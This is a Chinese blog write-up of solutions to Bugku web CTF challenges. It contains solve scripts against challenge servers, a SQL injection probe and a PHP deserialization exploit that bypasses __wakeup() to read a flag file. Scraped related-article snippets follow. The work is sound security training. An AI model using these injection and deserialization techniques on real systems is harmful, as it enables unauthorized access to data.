bugku论剑场web解题记录
前言
国庆这几天感觉没什么好玩的地方,家又离的太远,弱鸡的我便决定刷刷题涨涨知识,于是就有了这篇文章。。
正文
写的不对的地方欢迎指正
web26
打开直接就是代码,这应该就是一道代码审计的题了

这里主要需要绕过第一个正则匹配,同时要令$result为真就能得到flag了
is_numeric() 函数用于检测变量是否为数字或数字字符串。

只需第一个两个if都为true即可得flag



RESTful API简单介绍
- GET(SELECT):从服务器取出资源(一项或多项)。
- POST(CREATE):在服务器新建一个资源。
- PUT(UPDATE):在服务器更新资源(客户端提供改变后的完整资源)。
- PATCH(UPDATE):在服务器更新资源(客户端提供改变的属性)。
- DELETE(DELETE):从服务器删除资源。
3. 对资源的增删改查对应URL的操作(POST,DELETE,PUT,GET)
- URL: http://localhost/student
- GET /student 获取学生列表
- POST /student 新学员报到
- GET /student/110 获取ID为110的学生信息
- PUT /student/110 修改ID为110的学生信息
- DELETE /student/110 删除ID为110的学生信息
- GET /student/110/home 获取ID为110的学生的家庭信息
import re
import requests
url = 'http://123.206.31.85:10002/'
r = requests.session()
text = r.get(url).text
calc = str(re.findall("(.*?)</p>", text))[2:-2]
ans = eval(calc)
data = {'result':ans}
res = r.post(url, data)
print(res.text)




以为是文件上传之类的



import hashlib def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest() for i in range(1000000000):#i等于从零开始
if md5(str(i))[0:6] == '66f021':#把i转化为字符串,对字符串里面的内容加密在截取0到6位比较
print(i)
break
?id=1' and 1=1--+ 空白

然后就正常注入找表找列找字段
打开是个商城无论点哪里都没用

所以只需要改变对象属性个数就可以绕过__wakeup()函数,即把对象属性个数”:1:”改成”:2:”
<?php
class Small_white_rabbit{
private $file = 'index.php'; public function __construct($file) {
$this->file = $file;
} function __destruct() {
echo @highlight_file($this->file, true);
} function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the_f1ag.php
$this->file = 'index.php';
}
}
} $a=new Small_white_rabbit('the_f1ag.php');
$b = serialize($a);
$s = preg_replace('/:1:/', ':2:', $b);
echo base64_encode($s);
?>




import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
r = requests.session()#建立会话,r相当于请求包
r1 = r.post(url, data = {'password':'flag'})#rpost发送password,r1相当于它的响应包
Password = r1.headers['Password']#获取r1的Password对应的值
password = str(base64.b64decode(Password), 'utf-8')[5:-1]#对它解码,后面是把Password转化为二进制格式在解码,因为加解密都不能直接对字符串解码
r2 = r.post(url, data = {'password':password})
print(r2.text)

import re
import requests
url = 'http://123.206.31.85:10020/'
r = requests.session()#建立会话
text = r.get(url).text#获取此页面内容
print("~~~~~~~~~~~~~~~~~~")
print(text)
print("~~~~~~~~~~~~~")
calc = str(re.findall(r'^(.*?)<br/>', text))[-35:-2]#正则匹配我们需要的密文
print("~~~~~~~~~~~~~~")#
print(calc)
print("~~~~~~~~~~~~~``")
#ans = eval(calc)#计算
data = {'key':calc}#把值传给key
res = r.get(url, params=data)#在r这个会话中传入get值,把返回的内容传给res
print(res.text)
print("~~~~~~~~~~")
print(res.url)
这需要多运行几次才能看到flag



base32解码得




bugku论剑场web解题记录的更多相关文章
- 实验吧web解题记录
自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...
- ssrf解题记录
ssrf解题记录 最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程. pwn题最近做的也很少,也要 ...
- pwnable.kr input解题记录
pwnable input解题记录 给了源码如下: #include "stdio.h" #include "unistd.h" #include " ...
- ASP.NET Web API 记录请求响应数据到日志的一个方法
原文:http://blog.bossma.cn/dotnet/asp-net-web-api-log-request-response/ ASP.NET Web API 记录请求响应数据到日志的一个 ...
- angr脚本——以angrctf解题记录为参考
angr脚本--以angrctf解题记录为参考 angr是用于逆向工程中进行二进制分析的一个python框架 符号执行 (Symbolic Execution)是一种程序分析技术.其可以通过分 ...
- LeetCode解题记录(贪心算法)(二)
1. 前言 由于后面还有很多题型要写,贪心算法目前可能就到此为止了,上一篇博客的地址为 LeetCode解题记录(贪心算法)(一) 下面正式开始我们的刷题之旅 2. 贪心 763. 划分字母区间(中等 ...
- 攻防世界——web新手练习区解题记录<1>(1-4题)
web新手练习区一至四题 第一题view_source: 题目说右键不管用了,我们先获取在线场景来看一看,我们看到这样一个网页,并且右键确实点了没什么反应,而用到右键一般就是查看网页源码 用快捷键(F ...
- 解决Apache的错误日志巨大的问题以及关闭Apache web日志记录
调整错误日志的级别 这几天 apache错误日志巨大 莫名其妙的30G 而且 很多都是那种页面不存在的 网站太多了 死链接相应的也很多于是把错误警告调低了 因为写日志会给系统带来很大的损耗.关闭 ...
- AC自动机解题记录
1.HDU 2222 Keywords Search 模板题 #include <bits/stdc++.h> #define fir first #define sec second # ...
随机推荐
- 《软件自动化测试开发-Java和Python测试开发指南》第6次印刷
2017年1月 第1次印刷 2017年5月 第2次印刷 2017年9月 第3次印刷 2017年11月 第4次印刷 2018年4月 第5次印刷 2018年6月 第6次印刷 欢迎留言,点赞前2名,可获2折 ...
- redis集群配置及python操作
之前我们分析过喜马拉雅的爬取信息,使用分布式爬取,而且需要修改scrapy-redis的过滤算法为布隆过滤来减少redis内存占用,最后考虑这样还是不一定够,那么redis集群就是更好的一种选择方式了 ...
- springmvc两种配置方法
基于配置文件xml方式, 配置springmvc步骤: 1.在pom文件中引入jar包: <!--导入springmvc的jar包--> <dependency> <gr ...
- 46-Python深浅拷贝
目录 一.引言 1.1 可变或不可变 二.拷贝 三.浅拷贝 深拷贝 一.引言 在python中,对象赋值实际上是对象的引用.当创建一个对象,然后把它赋给另一个变量的时候,python并没有拷贝这个对象 ...
- Await/Async
Async其实就是Generator函数的语法糖. 啥是语法糖?就是一种更容易让人理解,代码可读性更高的另外一种语法. const asyncRead = async function(){ cons ...
- javascript入门进阶(一)
javascript 入门进阶 这里主要讲解一下在入门阶段很难注意的一些知识点,不一定有用.但是会了总比不会强. 1.HTML为<script>标签准备的6个属性: -async:可选.表 ...
- form里面文件上传并预览
其实form里面是不能嵌套form的,如果form里面有图片上传和其他input框,我们希望上传图片并预览图片,然后将其他input框填写完毕,再提交整个表单的话,有两种方式! 方式一:点击上传按钮的 ...
- JS中的reduce()详解
reduce()作为一个循环使用.接收四个参数:初始值(上一次返回值),当前元素值,当前元素下标,原数组. 应用 作为累加器使用 var a=[4,5,6,7,8] //item代表一次回调的值 初 ...
- API服务版本控制 Microsoft.AspNetCore.Mvc.Versioning
我们在进行webapi服务开发时,会遇到一些多个版本的api共存的情况发生,例如某一版本APP上线后,需求发生变更,需要在下一个升级版本更新API,但同时又需要保证这个APP版本能正常使用,这时候就需 ...
- ECMAScript进化史(1):话说Web脚本语言王者JavaScript的加冕历史
互联网起火-Web时代的来临 在行文之前,反手就安利一下<浏览器史话中chrome霸主地位的奠定与国产浏览器的割据混战>. 浏览器始祖NCSA Mosaic在1993年1月发布(于1992 ...


